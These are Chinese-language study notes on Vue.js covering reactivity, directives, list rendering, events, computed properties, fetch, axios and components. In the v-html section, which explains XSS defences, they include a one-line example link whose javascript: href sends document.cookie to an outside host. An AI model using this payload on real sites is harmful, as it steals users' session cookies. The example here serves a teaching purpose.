Vue（一）

一、Vue.js 是什么

Vue (读音 /vjuː/，类似于view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是，Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层，不仅易于上手，还便于与第三方库或既有项目整合。另一方面，当与现代化的工具链以及各种支持类库结合使用时，Vue 也完全能够为复杂的单页应用提供驱动。

二、vue引入

1. 在页面上以CDN包的形式导入。
2. 下载JavaScript文件并自行托管。
3. 使用npm安装它。
4. 使用官方的CLI来构建一个项目，它为现代前端工作流程提供了功能齐备的构建设置（例如，热重载、保存时的提示等等）。

三、vue拦截原理

当你把一个普通的 JavaScript 对象传入 Vue 实例作为 data 选项，Vue 将遍历此对象所有的 property，并使用 Object.defineProperty 把这些 property 全部转为 getter/setter。Object.defineProperty 是 ES5 中一个无法 shim 的特性，这也就是 Vue 不支持 IE8 以及更低版本浏览器的原因。
每个组件实例都对应一个 watcher 实例，它会在组件渲染的过程中把“接触”过的数据 property 记录为依赖。之后当依赖项的 setter 触发时，会通知 watcher，从而使它关联的组件重新渲染。
Object.defineProperty有以下缺点。
1、无法监听es6的Set、Map变化;
2、无法监听Class类型的数据;
3、属性的新加或者删除也无法监听;
4、数组元素的增加和删除也无法监听。
注意：vue3的变化
针对Object.defineProperty的缺点，ES6 Proxy都能够完美得解决，它唯一的缺点就是，对IE不友好，所以vue3在检测到如果是使用IE的情况下(没错，IE11都不支持Proxy)，会自动降级为0bject.defineProperty的数据监听系统。

四、模板语法

（1）插值

• a.文本{{}}
• b.纯HTML
   v-html，防止XSS,CSRF（
    (1)前端过滤
    (2)后台转义（<> &lt； &gt；）
    (3)给cookie加上属性http
   ）

1 <a href=javascript:location. href=' http://www. baidu. com?cookie=' +document . cookie>click</a>
2 //复制pdf需要注意编码问题

• c.表达式

（2）指令:是带有v-前缀的特殊属性

v-bind 动态绑定属性
v-if 动态创建/删除
v-show 动态显示/隐藏
v-on:click 绑定事件
v-for 遍历
v-model 双向绑定表单

（3）缩写

v-bind:src =>:src
v-on:click =>@click

五、class与style

vue2
不支持动态增加属性的拦截
解决方案：Vue.set(对象,属性,true)
Vue3
支持动态增加属性的拦截
Vue3语法：Vue.createApp(obj).mount(“#box”)
data属性=>函数式

六、条件渲染

v-if，v-else-if，v-else
template 就是一个包装元素，不会真正创建在页面上

七、列表渲染

（1）v-for（特殊v-for=“n in 10”）

• a.in
• b.of
• 没有区别

（2）key

• 跟踪每一个节点，从而重用和重排现有元素
• 理想的key值是每项都有的且唯一的id 。data.id

（3）数组更新检测

• a.使用以下方法操作数组，可以检测变动
  push()、 pop() 、shift()、 unshift()、 splice()、sort()、reverse()
• b.filter()，concat()和slice() ，map()，新数组替换旧数组
• c.不能检测以下变动的数组
  vm.items[indexOfltem]=newValue
  解决
  (1)Vue.set(example1.items, indexOfltem,newValue)
  (2)splice

（4）应用：
显示过滤结果

八、事件处理

(1)监听事件-直接触发代码
(2)方法事件处理器-写函数名 handleClick
(3)内联处理器方法-执行函数表达式 handleClick($event) $event事件对象
(4)事件修饰符
.stop 防止事件冒泡，加在子元素上
.prevent
.capture
.self 防止事件冒泡，加在父元素上
.once
按键修饰符
.enter
.esc
.up
.down
.left
.right
.space
.ctrl
.shift
.delete
表单修饰符
.lazy
.number
.trim

九、计算属性

计算属性（防止模板过重，难以维护），负责逻辑放在计算属性中来写。
计算属性 有缓存，基于依赖的缓存
0.data->状态，被拦截。
1.方法->事件绑定，逻辑运算，可以不用return，没有缓存，每次相同调用，都要执行一次
2.计算属性（重视结果）->解决模板过重的问题，必须有return，只求结果，有缓存，同步，每次相同调用，只执行一次
3.watch（重视过程），监听一个值的改变。不用返回值，异步同步。

十、fetch

why：
XMLHttpRequest是一个设计粗糙的API，配置和调用方式非常混乱，
而且基于事件的异步模型写起来不友好。
兼容性不好
polyfill:
https://github.com/camsong/fetch-ie8
用法：

fetch("...").then(res=>res.json()).then(res=>...)

get url路径 ?name=kervin&age=100
post body请求体,
(1) x-www-formurlencoded,name=kervin&age=100
(2)json, ‘{“name”:“kervin”,age:100}’
注意：
Fetch请求默认是不带cookie的，需要设置fetch(url,{credentials:‘include’})

十一、axios

axios.get("")
axios.post("")
axios.put("")
axios.delete("")
axios.post("****","name=kervin&age=100")//(1)
axios.post("****",{name:"kervin",age:100})//(2)

十二、过滤器

Vue.filter()
管道符 |
vue3过滤器不支持

十三、组件

为什么组件化
扩展HTML元素，分装可重用的代码

• 定义一个全局的组件

Vue.component("",{
	//dom,js,css
	template:``,
	methods;{},
	computed:{},
	watch:{},
	data必须是函数写法
	data(){
		return{}
	}
})
//根组件
new Vue({})

• 定义一个局部的组件

Vue.component("",{
	components:{}
})

注意：
1.起名字：js驼峰，html 链接符-
2.dom片段 没有代码提示 没有高亮显示 - vue单文件组件解决
3.css 只能写成 行内。- vue单文件组件解决
4. template 包含一个根节点
5.组件是孤岛，无法【直接】访问外面的组件的状态或者方法。-间接的组件通信来交流。
6.自定义的组件 data 必须是一个函数，
7.所有的组件都在一起， 太乱了 — vue单文件组件解决
父传子

props:[]
props;{
	key:{
		type:String,
		default:""
	}
	key:{
		type:Boolean,
		default:""
	}
}//接受key属性，属性验证,默认属性

父传子–属性
子传父
在父组件的子组件上定义一个方法，挂载子组件传递过来的参数，然后在子组件中，通过this.$emit(“方法名”,数据)来传送
子传父–事件